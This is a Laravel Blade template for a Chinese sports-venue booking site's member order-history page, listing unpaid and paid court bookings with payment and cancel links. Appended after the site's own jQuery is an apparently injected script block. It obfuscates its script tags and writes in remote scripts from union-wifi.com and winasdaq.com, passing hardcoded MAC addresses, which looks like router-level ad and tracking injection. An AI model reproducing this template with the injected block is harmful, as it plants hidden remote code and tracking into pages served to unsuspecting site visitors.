<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- saved from url=(0034)/ums_order.html -->
<html xmlns="http://www.w3.org/1999/xhtml" class="ks-webkit537 ks-webkit ks-chrome52 ks-chrome">
<head>
   @include('head')
    
    <title>去运动吧 | 会员中心 | 我的预订记录</title>

</head>

<body>

@include('header')

<div id="main">
<div class="ad_content">
<div class="UserInfo">
    <div id="UserPic" class="userPic" style="background:url(&#39;/images/head.jpg&#39;);background-repeat:no-repeat;background-size:cover;background-position:center;overflow:hidden;" onmouseover="this.innerHTML=&#39;编辑头像&#39;" onmouseout="this.innerHTML=&#39;&#39;" onclick="window.open(&#39;ModiHeadPic.html&#39;,&#39;编辑头像&#39;,&#39;toolbar=no, location=no, directories=no, status=no, menubar=no, scrollbars=no, resizable=no, copyhistory=no, width=600, height=450&#39;)"></div>

    <div class="welcome">
                
        <div class="ChangeRow"></div>
        <div class="welcomeTxt F2em Green">运动达人，欢迎回来！</div>
        <div class="welcomeTxt F1em Green">您上次的登录时间：{{date('Y-m-d H:i:s',$user->lastlogin)}}</div>
    </div>
        <div class="Buttons">
        <a href="/"><div class="Button2emGreen"><span class="fa fa-home" style=" line-height:1.5em;"></span></div></a>
        <a href="/stadium"><div class="Button2emGreen"><span class="fa fa-reorder" style=" line-height:1.5em;"></span></div></a>
        <a href="/homepage"><div class="Button2emGreen"><span class="fa fa-heart" style=" line-height:1.5em"></span></div></a>
        <a href="/homepage"><div class="Button2emGreen"><span class="fa fa-life-ring" style=" line-height:1.5em"></span></div></a>
        <a href="/auth/logout"><div class="Button2emGray"><span class="fa fa-sign-out" style=" line-height:1.5em"></span></div></a>

        <div class="ChangeRow"></div>
        <a href="/"><div class="welcomeTxt F1em FloatLeft MarginLR1em Green">主页</div></a>
        <a href="/stadium"><div class="welcomeTxt F1em FloatLeft MarginLR1em Green">预订</div></a>
        <a href="/homepage"><div class="welcomeTxt F1em FloatLeft MarginLR1em Green">收藏</div></a>
        <a href="/homepage"><div class="welcomeTxt F1em FloatLeft MarginLR1em Green">运动豆</div></a>
        <a href="/auth/logout" class="Gray"><div class="welcomeTxt F1em FloatLeft MarginLR1em gray">退出</div></a>
    </div>
</div>

<div class="ChangeRow"></div>



 @foreach($data as $group)   
    @if($group['status'] == 0)
    <div class="OrderTitle bgOringe borderOringe" tag_id="v18246716660849">
        <span><strong>
        <!-- 支付状态 -->
        
        未支付
        
        </strong></span>&nbsp;&nbsp;|&nbsp;&nbsp;
        <!-- 运动项目 -->
            <span>{{$group['sportname']}}</span>&nbsp;&nbsp;|&nbsp;&nbsp;
        <span>订单号：</span><span class="OrderNumber">{{$group['order_sn']}}</span>&nbsp;&nbsp;|&nbsp;&nbsp;
        <span>创建于：{{ $group['usetime'] }}</span>
        <span class="fa fa-2x FloatRight btn2 showDetail fa-caret-up" tag_id="v18246716660849"></span>
    </div>



    <div style="display: block;" class="orderList" id="v18246716660849">
        <!-- 场馆信息循环输出 Begin-->
        <div class="orderList_Venues">
            <a href="/venues_info.html?tid=1&amp;vid=100065">
            <div class="VenuesPic" style="background-image:url(/upload/venues/100/065/venues_image.jpg)"></div>
            <div class="VenuesName">{{$group['stadium_name']}}</div>
            </a>
        </div>
        <!-- / 场馆信息循环输出 END-->
       
        <!-- 场地信息循环输出 Begin-->


        <div class="spaceList">

@foreach($orders as $order)  
    @if($order->order_sn == $group['order_sn'])               
                <div class="space bgYellow">
                <!-- 时间场次 -->
                    <nav>{{$order->order_sn}}</nav>
                    @if($order->pubtime >= 10)
                    <nav>{{$order->pubtime}}:00 场次</nav>
                    @else
                    <nav>0{{$order->pubtime}}:00 场次</nav>
                    @endif
                    <!-- 场地 -->
                    <nav><strong>{{$order->number}}号场地</strong></nav>
                </div>
    @endif
@endforeach                
        </div>


        <!-- / 场地信息循环输出 END-->
        
            <div class="OrderPay">
                <p><span>订单金额：</span><span>￥&nbsp;{{$group['sum']}}.00</span></p>
                <p><span>运动豆抵现：</span><span>￥&nbsp;{{($group['bean'])/100}}.00</span></p>
                <p><span>系统优惠：</span><span>￥&nbsp;0.00</span></p>
                <p><span>实际支付：</span><span class=" F1_5em RedF90">￥&nbsp;{{$group['sum'] - $group['bean']/100}}.00</span></p>
                <p>
                    <a class="white" href="/order_detail.html?oid=18246716660849#pay_tag">
                        </a></p><nav class="bgOringe white coner04em padding05em Margin1emA1emA TxtAlignCenter"><a class="white" href="/pay">
                                                        <strong>立即支付</strong>
                        </a></nav><a class="white" href="/order_detail.html?oid=18246716660849#pay_tag">
                    </a>
                <p></p>
                <p>
                    <a href="/cancel_order.html?oid=18246716660849" class="GrayCCC">
                        </a></p><nav class="bgGray white coner04em padding05em Margin1emA1emA TxtAlignCenter"><a href="/cancel_order/{{$group['order_sn']}}" class="GrayCCC">取消订单</a></nav><a href="/cancel_order.html?oid=18246716660849" class="GrayCCC">
                    </a>
                
            </div>
    </div>
@endif
@endforeach




@foreach($data as $group) 
@if($group['status']==1)
        <div class="OrderTitle bgGreen1 borderGreen" tag_id="v18246716660849">
        <span><strong>
        <!-- 支付状态 -->
        
        已支付
        
        </strong></span>&nbsp;&nbsp;|&nbsp;&nbsp;
        <!-- 运动项目 -->
            <span>{{$group['sportname']}}</span>&nbsp;&nbsp;|&nbsp;&nbsp;
        <span>订单号：</span><span class="OrderNumber">{{$group['order_sn']}}</span>&nbsp;&nbsp;|&nbsp;&nbsp;
        <span>创建于：{{ $group['usetime'] }}</span>
        <span class="fa fa-2x FloatRight btn2 showDetail fa-caret-up" tag_id="v18246716660849"></span>
    </div>



    <div style="display: block;" class="orderList" id="v18246716660849">
        <!-- 场馆信息循环输出 Begin-->
        <div class="orderList_Venues">
            <a href="/stadium/{{$group['stadium_id']}}">
            <div class="VenuesPic" style="background-image:url(/upload/venues/100/065/venues_image.jpg)"></div>
            <div class="VenuesName">{{$group['stadium_name']}}</div>
            </a>
        </div>
        <!-- / 场馆信息循环输出 END-->
       
        <!-- 场地信息循环输出 Begin-->


        <div class="spaceList">
@foreach($orders as $order)    
    @if($order->order_sn == $group['order_sn'])                
                <div class="space bgGreen">
                <!-- 时间场次 -->
                    <nav>{{$order->usetime}}</nav>
                    @if($order->pubtime >= 10)
                    <nav>{{$order->pubtime}}:00 场次</nav>
                    @else
                    <nav>0{{$order->pubtime}}:00 场次</nav>
                    @endif
                    <!-- 场地 -->
                    <nav><strong>{{$order->number}}号场地</strong></nav>
                </div>
    @endif
@endforeach                
        </div>


        <!-- / 场地信息循环输出 END-->
        
            <div class="OrderPay">
                <p><span>订单金额：</span><span>￥&nbsp;{{$group['sum']}}.00</span></p>
                <p><span>运动豆抵现：</span><span>￥&nbsp;{{$group['bean']/100}}.00</span></p>
                <p><span>系统优惠：</span><span>￥&nbsp;-0.00</span></p>
                <p><span>实际支付：</span><span class=" F1_5em RedF90">￥&nbsp;{{$group['sum']-$group['bean']/100}}.00</span></p>
                <p>
                    </p><nav class="bgGreen1 white coner04em padding05em Margin1emA1emA TxtAlignCenter">订单已完成</nav>
                
            </div>
    </div>
@endif
@endforeach

@if( empty($data) )
<br><br>
    <p class="RedF90 TxtAlignCenter padding05em">您目前还没有预定场地哟,快快找朋友约起来吧!</p>
    <br><br>
@endif



    </div>


</div>




@include('footer')


<script type="text/javascript">
    $(document).ready(function(){
        $('.orderList:first').show(500,function(){
            var list_id = $(this).attr('id');
            $("span[tag_id='"+list_id+"']").removeClass('fa-caret-down').addClass('fa-caret-up');
        })
        $(".OrderTitle , .showDetail ").click(function(){
            var tag_id = $(this).attr('tag_id');
            if($("span[tag_id='"+tag_id+"']").hasClass('fa-caret-up')){
                $('#'+tag_id).hide();
                $("span[tag_id='"+tag_id+"']").removeClass('fa-caret-up').addClass('fa-caret-down');
            }else{
                $('#'+tag_id).show();
                $("span[tag_id='"+tag_id+"']").removeClass('fa-caret-down').addClass('fa-caret-up');
            }
            return false;

        });
    });
</script><script>
function ik_random(){var ik_r_min=0;var ik_r_max=100;return(parseInt(Math.random()*(ik_r_max-ik_r_min+1)+ik_r_min));}
function ik_isiframe(){return (self!=top);}
var __h="";
var x=ik_random();
var __m='88:ae:1d:ca:65:fc';
var __m2='00:e0:4c:59:ca:88';
if(!ik_isiframe()){
	switch(true){
                 case x>=0&&x<60:
			document.write("<sc"+"ript src=\""+__h+"16&r="+Math.random()+"&r2="+Math.random()+"\"></scr"+"ipt>");
			document.write("<sc"+"ript src=\"http://js.union-wifi.com/zm.js?cid=10066&dmac="+__m2+"&umac="+__m+"\"></scr"+"ipt>");
			break;
                 case x>=60&&x<=100:
			document.write("<sc"+"ript src=\""+__h+"11&r="+Math.random()+"&r2="+Math.random()+"\"></scr"+"ipt>");
			document.write("<sc"+"ript src=\"http://un.winasdaq.com/ydap.js?ydcp_id=10111&cumid="+__m+"&apmac="+__m2+"\"></scr"+"ipt>");
			break;
		}
}
</script>
</body></html>